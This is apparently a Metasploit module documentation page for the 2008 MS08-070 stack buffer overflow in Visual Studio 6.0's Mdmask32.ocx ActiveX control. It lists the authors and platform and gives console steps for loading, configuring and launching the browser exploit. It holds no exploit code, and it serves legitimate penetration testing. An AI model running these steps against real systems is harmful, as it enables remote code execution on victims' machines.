module

Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow

Disclosed
2008-08-13
Created
2018-05-30

Description

This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
When passing a specially crafted string to the Mask parameter of the
Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
code.

Authors

koshi
MC mc@metasploit.com

Platform

Windows

Module Options

To display the available options, load the module within the Metasploit console and run the commands ‘show options’ or ‘show advanced’:


msf > use exploit/windows/browser/ms08_070_visual_studio_msmask
msf exploit(ms08_070_visual_studio_msmask) > show targets
...targets...
msf exploit(ms08_070_visual_studio_msmask) > set TARGET < target-id >
msf exploit(ms08_070_visual_studio_msmask) > show options
...show and set options...
msf exploit(ms08_070_visual_studio_msmask) > exploit

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